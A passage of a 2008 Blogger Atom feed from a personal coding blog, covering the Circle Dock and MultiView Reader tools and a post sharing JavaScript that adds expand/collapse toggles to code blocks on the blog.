reports, suggestions, and code contributions at the official Circle Dock Support Forum:&lt;a href="http://www.donationcoder.com/Forums/bb/index.php?board=240.0"&gt;http://www.donationcoder.com/Forums/bb/index.php?board=240.0&lt;/a&gt; &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;&lt;a target="_blank" href="http://circledock.wikidot.com/download-circle-dock"&gt;&lt;strong&gt;Download Circle Dock&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;a target="_blank" href="http://circledock.wikidot.com/source-code"&gt;Source Code&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-8648040735234517371?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/8648040735234517371/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=8648040735234517371' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/8648040735234517371'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/8648040735234517371'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2008/10/circle-dock-open-source-written-in-c.html' title='Circle Dock - Open Source - Written in C#'/><author><name>nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_kFNcLq9qQIg/SNcG3Ay99SI/AAAAAAAAAOg/TIS0edZtE-0/S220/yeah_blue_eye_ID.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-2553228959505750334</id><published>2008-10-02T23:21:00.001+08:00</published><updated>2008-10-02T23:21:31.780+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='softwares'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><category scheme='http://www.blogger.com/atom/ns#' term='my code'/><title type='text'>MultiView Reader</title><content type='html'>&lt;p&gt;&lt;a href="http://lh3.ggpht.com/jayzonr/SOTmxoiEypI/AAAAAAAAAQU/l910aex1zuk/s1600-h/multidocument%20reader%5B5%5D.jpg"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; border-top: 0px; border-right: 0px" border="0" alt="multidocument reader" src="http://lh3.ggpht.com/jayzonr/SOTm-cEB9bI/AAAAAAAAAQY/Idgs5e0XwdI/multidocument%20reader_thumb%5B3%5D.jpg?imgmax=800" width="630" height="447" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;I made a program called MultiView Reader. As you can see on the screen shot, contains a multiple text file viewed in grid view.&lt;/p&gt;  &lt;p&gt;hmm.. most of you might be thinking why I made something like this.. Well, this tool actually helped me worked on my project from some client in UK which we need to parse those formula ingredient and different sections on that texts.. I listed that way so I can see the different patterns on the text.&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;Download not available (for now)&lt;/p&gt;  &lt;p&gt;Source Code (thinking on it ...)&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-2553228959505750334?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/2553228959505750334/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=2553228959505750334' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/2553228959505750334'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/2553228959505750334'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2008/10/multiview-reader.html' title='MultiView Reader'/><author><name>nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_kFNcLq9qQIg/SNcG3Ay99SI/AAAAAAAAAOg/TIS0edZtE-0/S220/yeah_blue_eye_ID.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/jayzonr/SOTm-cEB9bI/AAAAAAAAAQY/Idgs5e0XwdI/s72-c/multidocument%20reader_thumb%5B3%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-6246395493627785619</id><published>2008-09-26T01:18:00.001+08:00</published><updated>2008-09-26T01:30:45.014+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Javscript'/><category scheme='http://www.blogger.com/atom/ns#' term='my code'/><title type='text'>Javascript Expand and Collapse (part 2)</title><content type='html'>&lt;p&gt;after my post &lt;a href="http://heresmycode.blogspot.com/2008/09/javscript-expand-and-collapse.html"&gt;&lt;strong&gt;Javascript Expand and Collapse&lt;/strong&gt;&lt;/a&gt;, I've come out with a better solution on how to automatically add them whenever I post a code on my blog. Its pretty personal code I wrote to fit in my blog, so I guess you need to do some modification on the JS code.&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;This JS code, actually looks for &lt;a href="http://www.w3schools.com/TAGS/tag_pre.asp"&gt;&lt;strong&gt;PRE&lt;/strong&gt;&lt;/a&gt; tag and check if has a &lt;font color="#ff0000" face="Courier New"&gt;class&lt;/font&gt; name &amp;quot;&lt;strong&gt;csharpcode&lt;/strong&gt;&amp;quot; and do some little work around to add &lt;/p&gt;  &lt;p&gt;&amp;quot;[-] Collapse code ...&amp;quot; before the posted code it self.&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;Anyways, here's the code ... Hope you guys like it &lt;/p&gt;  &lt;pre class="csharpcode"&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;var&lt;/span&gt; pres = document.getElementsByTagName(&lt;span class="str"&gt;'pre'&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;var&lt;/span&gt; plen = pres.length;&lt;br /&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;for&lt;/span&gt;(&lt;span class="kwrd"&gt;var&lt;/span&gt; i = 0; i &amp;lt; plen; i++)&lt;br /&gt;{&lt;br /&gt;    &lt;span class="kwrd"&gt;if&lt;/span&gt;(pres[i].getAttribute(&lt;span class="str"&gt;'class'&lt;/span&gt;) == &lt;span class="str"&gt;'csharpcode'&lt;/span&gt;)&lt;br /&gt;    {&lt;br /&gt;        &lt;span class="kwrd"&gt;var&lt;/span&gt; tempObj = pres[i].innerHTML;&lt;br /&gt;        pres[i].innerHTML = &lt;span class="str"&gt;&amp;quot;&amp;quot;&lt;/span&gt;;&lt;br /&gt;        &lt;br /&gt;        &lt;span class="kwrd"&gt;var&lt;/span&gt; aLinkEC = &lt;span class="str"&gt;&amp;quot;&amp;lt;a id='xCode&amp;quot;&lt;/span&gt; + i + &lt;span class="str"&gt;&amp;quot;' href=\&amp;quot;javascript:doMenu('Code&amp;quot;&lt;/span&gt; + i + &lt;span class="str"&gt;&amp;quot;')\&amp;quot;&amp;gt;[-] Collapse code ...&amp;lt;/a&amp;gt;&amp;quot;&lt;/span&gt;;&lt;br /&gt;        &lt;span class="kwrd"&gt;var&lt;/span&gt; newLineStyle = &lt;span class="str"&gt;'&amp;lt;br/&amp;gt;'&lt;/span&gt;;&lt;br /&gt;        &lt;span class="kwrd"&gt;var&lt;/span&gt; newCode = &lt;span class="str"&gt;'&amp;lt;div id=\'Code'&lt;/span&gt; + i + &lt;span class="str"&gt;'\' &amp;gt;'&lt;/span&gt; + tempObj + &lt;span class="str"&gt;'&amp;lt;/div&amp;gt;'&lt;/span&gt;;&lt;br /&gt;        &lt;br /&gt;        &lt;span class="kwrd"&gt;var&lt;/span&gt; build = aLinkEC + newLineStyle + newCode&lt;br /&gt;        &lt;br /&gt;        pres[i].innerHTML = build;&lt;br /&gt;    }&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;Prerequisite Code:&lt;/strong&gt; can be found on my &lt;a href="http://heresmycode.blogspot.com/2008/09/javscript-expand-and-collapse.html"&gt;&lt;strong&gt;old post&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;strong&gt;and here's a little example of everything&lt;/strong&gt;&lt;br /&gt;&lt;pre class="csharpcode"&gt;&lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;html&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;head&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;script&lt;/span&gt; &lt;span class="attr"&gt;type&lt;/span&gt;&lt;span class="kwrd"&gt;='text/javascript'&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;            &lt;span class="kwrd"&gt;function&lt;/span&gt; doMenu(item)&lt;br /&gt;            {&lt;br /&gt;                obj=document.getElementById(item);&lt;br /&gt;                col=document.getElementById(&lt;span class="str"&gt;&amp;quot;x&amp;quot;&lt;/span&gt; + item);&lt;br /&gt;                &lt;br /&gt;                &lt;span class="kwrd"&gt;if&lt;/span&gt; (obj.style.display==&lt;span class="str"&gt;&amp;quot;none&amp;quot;&lt;/span&gt;)&lt;br /&gt;                {&lt;br /&gt;                    obj.style.display=&lt;span class="str"&gt;&amp;quot;block&amp;quot;&lt;/span&gt;;&lt;br /&gt;                    col.innerHTML=&lt;span class="str"&gt;&amp;quot;[-] Collapse code ...&amp;quot;&lt;/span&gt;;&lt;br /&gt;                }&lt;br /&gt;                &lt;span class="kwrd"&gt;else&lt;/span&gt;&lt;br /&gt;                {&lt;br /&gt;                    obj.style.display=&lt;span class="str"&gt;&amp;quot;none&amp;quot;&lt;/span&gt;;&lt;br /&gt;                    col.innerHTML=&lt;span class="str"&gt;&amp;quot;[+] Expand code ...&amp;quot;&lt;/span&gt;;&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;            &lt;br /&gt;            &lt;span class="kwrd"&gt;function&lt;/span&gt; addExpColelem()&lt;br /&gt;            {&lt;br /&gt;                &lt;span class="kwrd"&gt;var&lt;/span&gt; pres = document.getElementsByTagName(&lt;span class="str"&gt;'pre'&lt;/span&gt;);&lt;br /&gt;                &lt;br /&gt;                &lt;span class="kwrd"&gt;var&lt;/span&gt; plen = pres.length;&lt;br /&gt;                &lt;br /&gt;                &lt;span class="kwrd"&gt;for&lt;/span&gt;(&lt;span class="kwrd"&gt;var&lt;/span&gt; i = 0; i &amp;lt; plen; i++)&lt;br /&gt;                {&lt;br /&gt;                    &lt;span class="kwrd"&gt;if&lt;/span&gt;(pres[i].getAttribute(&lt;span class="str"&gt;'class'&lt;/span&gt;) == &lt;span class="str"&gt;'csharpcode'&lt;/span&gt;)&lt;br /&gt;                    {&lt;br /&gt;                        &lt;span class="kwrd"&gt;var&lt;/span&gt; tempObj = pres[i].innerHTML;&lt;br /&gt;                        pres[i].innerHTML = &lt;span class="str"&gt;&amp;quot;&amp;quot;&lt;/span&gt;;&lt;br /&gt;                        &lt;br /&gt;                        &lt;span class="kwrd"&gt;var&lt;/span&gt; aLinkEC = &lt;span class="str"&gt;&amp;quot;&amp;lt;a id='xCode&amp;quot;&lt;/span&gt; + i + &lt;span class="str"&gt;&amp;quot;' href=\&amp;quot;javascript:doMenu('Code&amp;quot;&lt;/span&gt; + i + &lt;span class="str"&gt;&amp;quot;')\&amp;quot;&amp;gt;[-] Collapse code ...&amp;lt;/a&amp;gt;&amp;quot;&lt;/span&gt;;&lt;br /&gt;                        &lt;span class="kwrd"&gt;var&lt;/span&gt; newLineStyle = &lt;span class="str"&gt;'&amp;lt;br/&amp;gt;'&lt;/span&gt;;&lt;br /&gt;                        &lt;span class="kwrd"&gt;var&lt;/span&gt; newCode = &lt;span class="str"&gt;'&amp;lt;div id=\'Code'&lt;/span&gt; + i + &lt;span class="str"&gt;'\' &amp;gt;'&lt;/span&gt; + tempObj + &lt;span class="str"&gt;'&amp;lt;/div&amp;gt;'&lt;/span&gt;;&lt;br /&gt;                        &lt;br /&gt;                        &lt;span class="kwrd"&gt;var&lt;/span&gt; build = aLinkEC + newLineStyle + newCode&lt;br /&gt;                        &lt;br /&gt;                        pres[i].innerHTML = build;&lt;br /&gt;                    }&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;        &lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;script&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;        &lt;br /&gt;        &amp;lt;style type=&lt;span class="str"&gt;&amp;quot;text/css&amp;quot;&lt;/span&gt;&amp;gt;&lt;br /&gt;            .csharpcode, .csharpcode pre&lt;br /&gt;            {&lt;br /&gt;                font-size: small;&lt;br /&gt;                color: black;&lt;br /&gt;                font-family: consolas, &lt;span class="str"&gt;&amp;quot;Courier New&amp;quot;&lt;/span&gt;, courier, monospace;&lt;br /&gt;                background-color: #ffffff;&lt;br /&gt;                &lt;span class="rem"&gt;/*white-space: pre;*/&lt;/span&gt;&lt;br /&gt;            }&lt;br /&gt;            &lt;br /&gt;            .csharpcode pre { margin: 0em; }&lt;br /&gt;            .csharpcode .rem { color: #008000; }&lt;br /&gt;            .csharpcode .kwrd { color: #0000ff; }&lt;br /&gt;            .csharpcode .str { color: #006080; }&lt;br /&gt;            .csharpcode .op { color: #0000c0; }&lt;br /&gt;            .csharpcode .preproc { color: #cc6633; }&lt;br /&gt;            .csharpcode .asp { background-color: #ffff00; }&lt;br /&gt;            .csharpcode .html { color: #800000; }&lt;br /&gt;            .csharpcode .attr { color: #ff0000; }&lt;br /&gt;            .csharpcode .alt &lt;br /&gt;            {&lt;br /&gt;                background-color: #f4f4f4;&lt;br /&gt;                width: 100%;&lt;br /&gt;                margin: 0em;&lt;br /&gt;            }&lt;br /&gt;            .csharpcode .lnum { color: #606060; }&lt;br /&gt;        &amp;lt;/style&amp;gt;&lt;br /&gt;    &amp;lt;/head&amp;gt;&lt;br /&gt;    &lt;br /&gt;    &amp;lt;body&amp;gt;&lt;br /&gt;        &amp;lt;div id=&lt;span class="str"&gt;&amp;quot;posts&amp;quot;&lt;/span&gt;&amp;gt;&lt;br /&gt;            &amp;lt;strong&amp;gt;Javscript Expand/Collapse Code&amp;lt;/strong&amp;gt;&lt;br /&gt;            &amp;lt;pre &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;csharpcode&amp;quot;&lt;/span&gt;&amp;gt;&lt;br /&gt;&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;kwrd&amp;quot;&lt;/span&gt;&amp;gt;&lt;span class="kwrd"&gt;function&lt;/span&gt;&amp;lt;/span&amp;gt; ExpandCollapse(item)&lt;br /&gt;{&lt;br /&gt;content = document.getElementById(item);&lt;br /&gt;ec = document.getElementById(&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;str&amp;quot;&lt;/span&gt;&amp;gt;&amp;amp;quot;ec|&amp;amp;quot;&amp;lt;/span&amp;gt; + item);&lt;br /&gt;&lt;br /&gt;&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;kwrd&amp;quot;&lt;/span&gt;&amp;gt;&lt;span class="kwrd"&gt;if&lt;/span&gt;&amp;lt;/span&amp;gt; (content.style.display == &amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;str&amp;quot;&lt;/span&gt;&amp;gt;&amp;amp;quot;none&amp;amp;quot;&amp;lt;/span&amp;gt;)&lt;br /&gt;{&lt;br /&gt;    content.style.display = &amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;str&amp;quot;&lt;/span&gt;&amp;gt;&amp;amp;quot;block&amp;amp;quot;&amp;lt;/span&amp;gt;;&lt;br /&gt;    ec.innerHTML = &amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;str&amp;quot;&lt;/span&gt;&amp;gt;&amp;amp;quot;[-]&amp;amp;quot;&amp;lt;/span&amp;gt;;&lt;br /&gt;}&lt;br /&gt;&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;kwrd&amp;quot;&lt;/span&gt;&amp;gt;&lt;span class="kwrd"&gt;else&lt;/span&gt;&amp;lt;/span&amp;gt;&lt;br /&gt;{&lt;br /&gt;    content.style.display = &amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;str&amp;quot;&lt;/span&gt;&amp;gt;&amp;amp;quot;none&amp;amp;quot;&amp;lt;/span&amp;gt;;&lt;br /&gt;    ec.innerHTML = &amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;str&amp;quot;&lt;/span&gt;&amp;gt;&amp;amp;quot;[+]&amp;amp;quot;&amp;lt;/span&amp;gt;;&lt;br /&gt;}&lt;br /&gt;}    &lt;br /&gt;            &amp;lt;/pre&amp;gt;&lt;br /&gt;&lt;br /&gt;            &amp;lt;strong&amp;gt;and a little bit of HTML sample&amp;lt;/strong&amp;gt;&lt;br /&gt;            &amp;lt;pre &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;csharpcode&amp;quot;&lt;/span&gt;&amp;gt;&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;kwrd&amp;quot;&lt;/span&gt;&amp;gt;&amp;amp;lt;&amp;lt;/span&amp;gt;&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;html&amp;quot;&lt;/span&gt;&amp;gt;a&amp;lt;/span&amp;gt; &amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;attr&amp;quot;&lt;/span&gt;&amp;gt;href&amp;lt;/span&amp;gt;&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;kwrd&amp;quot;&lt;/span&gt;&amp;gt;=&amp;amp;quot;javascript:ExpandCollapse(&lt;span class="str"&gt;'main'&lt;/span&gt;);&amp;amp;quot;&amp;lt;/span&amp;gt; &amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;attr&amp;quot;&lt;/span&gt;&amp;gt;id&amp;lt;/span&amp;gt;&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;kwrd&amp;quot;&lt;/span&gt;&amp;gt;=&amp;amp;quot;ec|main&amp;amp;quot;&amp;lt;/span&amp;gt;&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;kwrd&amp;quot;&lt;/span&gt;&amp;gt;&amp;amp;gt;&amp;lt;/span&amp;gt;[-]&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;kwrd&amp;quot;&lt;/span&gt;&amp;gt;&amp;amp;lt;/&amp;lt;/span&amp;gt;&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;html&amp;quot;&lt;/span&gt;&amp;gt;a&amp;lt;/span&amp;gt;&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;kwrd&amp;quot;&lt;/span&gt;&amp;gt;&amp;amp;gt;&amp;lt;/span&amp;gt; Main Item&lt;br /&gt;&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;kwrd&amp;quot;&lt;/span&gt;&amp;gt;&amp;amp;lt;&amp;lt;/span&amp;gt;&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;html&amp;quot;&lt;/span&gt;&amp;gt;div&amp;lt;/span&amp;gt; &amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;attr&amp;quot;&lt;/span&gt;&amp;gt;id&amp;lt;/span&amp;gt;=&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;attr&amp;quot;&lt;/span&gt;&amp;gt;main&amp;lt;/span&amp;gt; &amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;attr&amp;quot;&lt;/span&gt;&amp;gt;style&amp;lt;/span&amp;gt;&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;kwrd&amp;quot;&lt;/span&gt;&amp;gt;=&amp;amp;quot;margin-left:1em&amp;amp;quot;&amp;lt;/span&amp;gt;&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;kwrd&amp;quot;&lt;/span&gt;&amp;gt;&amp;amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;kwrd&amp;quot;&lt;/span&gt;&amp;gt;&amp;amp;lt;&amp;lt;/span&amp;gt;&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;html&amp;quot;&lt;/span&gt;&amp;gt;a&amp;lt;/span&amp;gt; &amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;attr&amp;quot;&lt;/span&gt;&amp;gt;href&amp;lt;/span&amp;gt;=#&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;kwrd&amp;quot;&lt;/span&gt;&amp;gt;&amp;amp;gt;&amp;lt;/span&amp;gt;Item 1&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;kwrd&amp;quot;&lt;/span&gt;&amp;gt;&amp;amp;lt;/&amp;lt;/span&amp;gt;&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;html&amp;quot;&lt;/span&gt;&amp;gt;a&amp;lt;/span&amp;gt;&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;kwrd&amp;quot;&lt;/span&gt;&amp;gt;&amp;amp;gt;&amp;amp;lt;&amp;lt;/span&amp;gt;&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;html&amp;quot;&lt;/span&gt;&amp;gt;br&amp;lt;/span&amp;gt;&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;kwrd&amp;quot;&lt;/span&gt;&amp;gt;&amp;amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;kwrd&amp;quot;&lt;/span&gt;&amp;gt;&amp;amp;lt;&amp;lt;/span&amp;gt;&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;html&amp;quot;&lt;/span&gt;&amp;gt;a&amp;lt;/span&amp;gt; &amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;attr&amp;quot;&lt;/span&gt;&amp;gt;href&amp;lt;/span&amp;gt;=#&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;kwrd&amp;quot;&lt;/span&gt;&amp;gt;&amp;amp;gt;&amp;lt;/span&amp;gt;Item 2&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;kwrd&amp;quot;&lt;/span&gt;&amp;gt;&amp;amp;lt;/&amp;lt;/span&amp;gt;&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;html&amp;quot;&lt;/span&gt;&amp;gt;a&amp;lt;/span&amp;gt;&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;kwrd&amp;quot;&lt;/span&gt;&amp;gt;&amp;amp;gt;&amp;amp;lt;&amp;lt;/span&amp;gt;&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;html&amp;quot;&lt;/span&gt;&amp;gt;br&amp;lt;/span&amp;gt;&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;kwrd&amp;quot;&lt;/span&gt;&amp;gt;&amp;amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;kwrd&amp;quot;&lt;/span&gt;&amp;gt;&amp;amp;lt;&amp;lt;/span&amp;gt;&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;html&amp;quot;&lt;/span&gt;&amp;gt;a&amp;lt;/span&amp;gt; &amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;attr&amp;quot;&lt;/span&gt;&amp;gt;href&amp;lt;/span&amp;gt;=#&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;kwrd&amp;quot;&lt;/span&gt;&amp;gt;&amp;amp;gt;&amp;lt;/span&amp;gt;Item 3&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;kwrd&amp;quot;&lt;/span&gt;&amp;gt;&amp;amp;lt;/&amp;lt;/span&amp;gt;&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;html&amp;quot;&lt;/span&gt;&amp;gt;a&amp;lt;/span&amp;gt;&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;kwrd&amp;quot;&lt;/span&gt;&amp;gt;&amp;amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;kwrd&amp;quot;&lt;/span&gt;&amp;gt;&amp;amp;lt;/&amp;lt;/span&amp;gt;&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;html&amp;quot;&lt;/span&gt;&amp;gt;div&amp;lt;/span&amp;gt;&amp;lt;span &lt;span class="kwrd"&gt;class&lt;/span&gt;=&lt;span class="str"&gt;&amp;quot;kwrd&amp;quot;&lt;/span&gt;&amp;gt;&amp;amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;            &amp;lt;/pre&amp;gt;&lt;br /&gt;        &amp;lt;/div&amp;gt;&lt;br /&gt;    &lt;br /&gt;        &amp;lt;script type=&lt;span class="str"&gt;'text/javascript'&lt;/span&gt;&amp;gt;addExpColelem();&lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;script&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;body&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;html&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-6246395493627785619?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/6246395493627785619/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=6246395493627785619' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/6246395493627785619'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/6246395493627785619'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2008/09/javascript-expand-and-collapse-part-2.html' title='Javascript Expand and Collapse (part 2)'/><author><name>nullstring</name><email>noreply@blogger.com</email><gd:image 